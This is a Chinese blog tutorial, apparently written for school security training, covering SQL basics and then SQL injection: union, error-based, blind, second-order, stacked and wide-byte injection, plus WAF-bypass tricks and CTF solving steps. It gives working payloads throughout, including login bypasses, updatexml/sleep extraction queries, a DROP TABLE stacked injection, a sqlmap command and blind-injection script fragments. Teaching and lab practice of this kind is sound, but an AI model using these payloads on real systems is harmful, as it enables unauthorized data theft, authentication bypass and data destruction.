SQL注入---常见分类攻击方式总结与绕过
近期由于准备学校培训内容,对SQL注入的基础知识进行了一些总结,同步一下博客。
SQL基础
一、数据库的基本概念
什么是数据库(Database)
一个存储和管理数据的容器,比如:学生信息管理系统的核心。
什么是表(Table)
数据库中用于存储数据的结构化格式,每张表有若干“行”和“列”。
行(Row)和列(Column)的区别
一行:表示一条记录(例如一个学生)
一列:表示一个字段(例如“姓名”字段)
二、SQL基础语法
1. SELECT语句 - 查询数据
select [列名/*] from [表名] where [限制条件]
示例:
select * from students;
假设students表:
id | name | age |
---|---|---|
1 | Alice | 18 |
2 | Bob | 19 |
查询 age = 18 的所有同学的姓名
SELECT name FROM students WHERE age = 18;
2. INSERT语句 - 插入数据
insert into students(name, age) values ('Sunny', 20)
id | name | age |
---|---|---|
1 | Alice | 18 |
2 | Bob | 19 |
3 | Sunny | 20 |
3. UPDATE语句 - 修改数据
update students set age = 17 where name = 'Bob';
id | name | age |
---|---|---|
1 | Alice | 17 |
2 | Bob | 19 |
3 | Sunny | 20 |
4. DELETE语句 - 删除数据
delete from students where age < 18;
id | name | age |
---|---|---|
2 | Bob | 19 |
3 | Sunny | 20 |
5. ALTER语句 - 修改数据
添加新列(Add Column):
1 | ALTER TABLE students ADD email VARCHAR(100); |
修改已有列的数据类型或名称:
1 | ALTER TABLE students MODIFY age VARCHAR(10); |
修改字段名称(MySQL >= 8):
1 | ALTER TABLE students RENAME COLUMN age TO student_age; |
删除列(Drop Column):
1 | ALTER TABLE students DROP COLUMN email; |
添加约束(如主键、唯一等):
1 | ALTER TABLE students ADD CONSTRAINT unique_name UNIQUE (name); |
重命名整张表:
1 | RENAME TABLE students TO student_info; |
三、表结构修改基础
1. 创建表
1 | CREATE TABLE students ( |
2. 常见的约束(Constraints)
- PRIMARY KEY:主键,唯一且不为空(一般为id、学号等唯一标识)
- AUTO_INCREMENT:自动增长(一般用于 ID)
- NOT NULL:不能为空
- UNIQUE:字段唯一
四、练习
题目1:创建一个名为books的表,包含以下字段:
- id(自动增长主键)
- title(字符串,最多100字符)
- author(字符串)
- price(整数)
1 | CREATE TABLE books ( |
题目2:插入两条书籍记录
1 | INSERT INTO books (title, author, price) VALUES ('SQL入门教程', '张三', 45); |
题目3:查找价格大于50的书
1 | SELECT * FROM books WHERE price > 50; |
SQL注入漏洞—是谁脱了我的库子?
漏洞成因
SQL注入是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库原有信息泄露、篡改,甚至被删除。
将恶意 SQL 语句插入到应用程序的输入中并提交到后台数据库执行的攻击方式。
示例
假设你有一个简单的登录逻辑,处理方式如下:
1 | $username = $_GET['username']; |
若用户输入:
1 | username = admin |
则拼接结果变为:
1 | SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' |
SQL解析器会判断:
1 | username = 'admin' AND password = ''(false) OR '1'='1'(true) |
1 | username = 'admin' AND (true) |
最终整体条件为 true,绕过验证,导致攻击者可以以admin身份登录
注入分类(按注入点数据类型)
1. 字符型注入
输入点为字符串类型
1 | select * from xxx where id = '%s' ; |
2. 数值型注入
1 | select * from xxx where id = %s ; |
注入分类(按攻击类型)
1. 基于Union的注入
基于 UNION 的 SQL 注入(Union-based Injection) 是一种通过 UNION SELECT 语句将攻击者构造的数据结果与原查询结果合并,从而实现数据泄露的攻击方式。
它的本质是:
将恶意查询语句和原始查询通过 UNION 拼接,最终数据库会一起返回两部分的结果。
1 | SELECT column1, column2 FROM table1 |
条件:UNION 两侧的列数必须一致
1 | select * FROM students where id = 1 union select 1,'admin',20; |
步骤:
1 | ?id=1' |
2. 万能密码
场景:登录页面
1 | SELECT * FROM users WHERE username = '$user' AND password = '$pass' |
注入方式
万能密码输入示例:
1 | 用户名:admin |
最终SQL语句:
1 | SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' |
因为 ‘1’=’1’ 永远为真,整条语句就绕过了密码验证。
万能密码写法:
1 | ' OR 1=1-- ← 最经典的写法 |
3. 报错注入
报错注入是利用数据库在执行非法或逻辑错误的 SQL 表达式时主动抛出的报错信息,将敏感信息写入报错内容中,从而实现数据泄露。
示例演示过程(基于 MySQL)
1 | SELECT * FROM users WHERE id = '$id'; |
当我们输入?id=1'
页面报错:You have an error in your SQL syntax
说明存在报错注入利用可能性。
报错注入示例 Payload
- 基于 updatexml() 的报错注入
1 | ?id=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)-- - |
- updatexml() 是 MySQL 的 XML 函数
- concat() 用于拼接字符串:0x7e 是 ~
- 最终构造非法 XML,触发报错,错误中就会包含
当前数据库名
页面可能报错如下:
1 | XPATH syntax error: '~dvwa~' |
- 基于 extractvalue() 的报错注入
1 | ?id=1' and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1), 0x7e)); |
- extractvalue() 解析 XPath 的 XML 字符串,也会抛出错误
- 基于 floor(rand()*2) 报错(信息泄露型)
1 | ?id=1' and (select 1 from (select count(*), concat((select version()), floor(rand(0)*2)) x from information_schema.tables group by x) y)-- - |
- 利用 group by + rand() 重复值触发 “Duplicate entry” 报错
- 报错中包含数据库版本号
1 | # 通过floor报错,注入语句如下: |
报错注入:
最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结
常用函数说明
函数 | 功能 |
---|---|
database() | 当前数据库名 |
user() | 当前数据库用户 |
version() | 数据库版本 |
@@datadir | 数据库存储路径 |
@@version_compile_os | 数据库操作系统信息 |
4. 盲注
“盲注” = 没有明显报错信息,也没有数据直接回显。但后端依旧执行了 SQL 查询,可以通过页面变化或延迟行为来判断结果真假。
布尔盲注(Boolean-Based Blind SQLi)
构造 SQL 语句,使返回结果依据布尔表达式的真假而不同,页面内容会有细微差别(如显示文字、状态码、长度),通过这些判断结果。
示例
构造判断数据库名首字母是不是 “d”(假设是 dvwa):
1 | ?id=1' and substr(database(),1,1)='d'-- - |
- 如果返回和正常页面一致:表示为真
- 如果显示空白或不同:表示为假
- 然后逐位猜测,得出 database() = dvwa
payload示例:
1 | ?id=1' and length(database())=4-- - |
时间盲注
当页面回显完全一致时,无法通过“布尔变化”判断真假,我们让服务器 “休眠几秒”来作为真假判断依据。
1 | IF(条件为真, SLEEP(3), 0) |
如果条件为真时,页面返回内容会有3秒的延时。
1 | ?id=1' and if(substr(database(),1,1)='d', sleep(3), 0)-- - |
- 若数据库以 d 开头,页面会延迟 3 秒返回
- 若不为 d,立即返回
利用这个特性,可以用脚本逐字符猜测数据库名、表名、字段名、内容等。
1 | ?id=1' and if(length(database())=4, sleep(3), 0)-- - |
自动化工具
sqlmap 工具(支持盲注全自动测试)
1 | sqlmap -u "http://target.com/?id=1" --technique=B --batch |
盲注payload顺序示例:
1 | # 布尔盲注 |
1 | # 布尔盲注 |
1 | # 布尔盲注 |
盲注总结:构造关键函数
函数 | 作用说明 |
---|---|
length(str) | 获取字符串长度 |
substr(str, pos, len) | 截取字符串中某一位 |
ascii(char) | 获取字符的 ASCII 编码 |
sleep(n) | 延迟 n 秒 |
if(条件, 真值, 假值) | 条件判断表达式 |
脚本(通过GPT添加注释与优化):
1 | # 布尔盲注 |
1 | # 时间盲注 |
通过ascii查找
1 | import requests |
5. 二次注入
恶意SQL代码并不是在最初输入时就被执行,而是在后续某次对这些数据的读取或拼接中被执行。
举个例子(注册+登录):
场景描述:
用户注册时,提交用户名:admin’#
服务器保存这个用户名入库(未执行注入)
后台登录模块使用该用户名拼接 SQL 查询:
1 | SELECT * FROM users WHERE username = '$username' AND password = '$password' |
此时变为:
1 | SELECT * FROM users WHERE username = 'admin'# ' AND password = '123' |
后半句被注释掉,实现绕过密码验证。
常见发生位置
场景 | 说明 |
---|---|
注册 & 登录分离 | 注册时存入 payload,登录时直接拼接查询 |
修改昵称、邮箱等字段 | 存入时做了防护,但修改时直接拼接入语句 |
sqlilabs靶场示例:
注册时,输入的内容被转义
新建用户admin’#
用新建的用户来登录
由于在更改密码的操作处,没有对username进行过滤,因此此时更改密码的话,则会对admin用户进行更改
通过查看靶场源码,更新密码时,当用户名为admin'#
时,sql语句为:
1 | UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' |
6. 堆叠注入
在一个 SQL 查询语句后添加分号 ;,再拼接并执行另一个独立的 SQL 语句。即,一次请求中同时执行多个 SQL 语句。
例如原本的 SQL 查询是:
1 | SELECT * FROM users WHERE id = '$id'; |
传入:
1 | 1; DROP TABLE users; |
最终变为:
1 | SELECT * FROM users WHERE id = '1'; DROP TABLE users; |
如果数据库配置允许堆叠执行,就会同时执行两个 SQL 语句。
使用条件
条件 | 说明 |
---|---|
数据库支持语句堆叠 | MySQL、MSSQL 支持,SQLite 默认支持,Oracle 不支持 |
后端数据库驱动允许堆叠 | 比如 Python 的 pymysql 不允许;MySQLdb 支持 |
Web 后端没有对分号做过滤 | 分号 ; 不能被清洗或转义 |
没有限制一条语句 | 某些框架限制单语句执行,无法堆叠 |
7. 宽字节注入
宽字节注入是利用多字节字符编码(如 GBK、BIG5)中某些字节可以合并转义字符 \ 的特性,来绕过过滤机制,完成 SQL 注入。
常见发生场景
1 | Web 后端使用了 addslashes() 或 magic_quotes_gpc 来过滤单引号 |
原理举例
PHP在开启magic_quotes_gpc
或者使用addslashes
、iconv
等函数的时候,单引号'
会被转义成\'
。比如传入字符%bf'
在满足上述条件的情况下会变成%bf\'
。其中反斜杠\
的十六进制编码是%5C
,单引号'
的十六进制编码是%27
,那么就可以得出%bf\'=%bf%5c%27
。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c
是一个宽字符,也就是縗
。也就是说%bf \'=%bf%5c%27=縗'
。
Bypass姿势
空格绕过
绕过方式 | 示例 |
---|---|
使用注释 | /**/union/**/select/**/1,2,3 |
使用替代空格符 | + 、%09 (Tab)、%0a (换行) |
使用括号拼接 | union(select(1),2,3) |
单引号/双引号绕过
绕过方式 | 示例 |
---|---|
使用 char() 编码拼接字符串 | union select char(97,98,99) |
使用十六进制表示字符串 | union select 0x61646d696e |
注释绕过
目的:过滤不同注释方式
方式 | 示例 |
---|---|
–+、– - | 1' or 1=1 --+ |
# | 1' or 1=1 # |
/* … */ | 1/**/or/**/1=1 |
直接利用原有符号闭合 | 1' or '1'='1 |
大小写绕过
目的:绕过大小写敏感的过滤器
方法 | 示例 |
---|---|
大小写混写 | UnIoN SeLeCt 1,2,3 |
编码绕过(URL编码等)
目的:绕过 WAF 或黑名单检测
编码方式 | 示例 |
---|---|
URL 编码 | %27 (单引号 ' ),%20 (空格) |
UTF-8 编码 | %c0%ae , %bf%27 (用于宽字节) |
Unicode 编码 | \u0027 (等于 ‘) |
关键字替换绕过
替代方式 | 示例 |
---|---|
拼接字段名 | sel/**/ect, uni%6Fn |
使用 information_schema 的别名 | sys.schema_tables , mysql.db |
函数型绕过
技巧 | 示例 |
---|---|
char() 拼接字符 | select char(97,100,109,105,110) |
hex() 替代字符串 | 0x61646d696e |
unhex() 解码字符串 | unhex('61646d696e') |
MySQL 内联注释 | /*!select*/ ,/*!union*/ |
各种大佬的绕过奇淫技巧众多,多逛优质博客能学到很多。
总结
类型 | 简述 | 特点 |
---|---|---|
联合注入 | 利用 UNION SELECT 合并结果 | 有回显,快速查库表数据 |
报错注入 | 利用函数触发数据库错误,泄露数据 | 有回显,无需依赖结构 |
布尔盲注 | 根据返回页面变化判断真假 | 无回显,慢 |
时间盲注 | 使用 SLEEP() 判断真假 | 无回显 + 返回慢 |
堆叠注入 | 一次执行多个 SQL 语句(如 1; DROP …) | 高危,权限要求高 |
宽字节注入 | 利用 GBK 编码绕过转义 | 特殊环境适用 |
二次注入 | 注入内容先入库,在别处再次执行 | 隐蔽性强 |
做题顺序
- 判断注入点是否存在
尝试输入常见测试值:
- 1’、1–、1’ or 1=1 –
- 测试
and 1=1
、and 1=2
看是否有报错 / 页面变动,若能通过1=1和1=2控制页面显示,通常就存在注入点
- 判断字段数(联合注入)
使用 order by n 或 union select 1,2,… 来判断字段数量和回显位置:
1 | ?id=1' order by 3--+ |
- 识别数据库类型(比赛或做题时可跳过)
- 报错信息或字段特征判断:MySQL / MSSQL / PostgreSQL / Oracle
- 如不明确,可用 SQLMap 帮忙探测
- 判断是否回显
情况 | 接下来的方法 |
---|---|
有回显 | 联合注入(直接回显内容)、报错注入(返回报错信息) |
无回显 | 布尔盲注(页面有不同回显)、时间盲注(页面回显相同) |
- 常规信息收集(比赛中可跳过)
- 当前数据库名:database()、db_name()等
- 当前用户:user()、system_user()等
- 当前表名:information_schema.tables
- 当前字段名:information_schema.columns
- 查找敏感数据
1 | SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database(); |
做题注意事项与技巧
建议 | 说明 |
---|---|
多尝试报错点 | 页面报错可以作为信号触发点,结合函数注入(如 updatexml, extractvalue) |
手动构造比 SQLMap 重要 | 训练题目的真正价值在于理解而非跑出 flag |
绕过黑名单 | 多练、持续学习各种绕过方式方法 |
关注 POST 数据 / Cookie | 注入点可能不在 URL 而在请求体或头部 |
关注 WAF 特征 | 请求变慢、过滤关键词、403 报错可能有 WAF |
练宽字节 / 二次注入 | 容易出现在进阶题或工作面试问题中 |
熟练写脚本 | 尤其盲注类,Python写个通用爆破器非常关键 |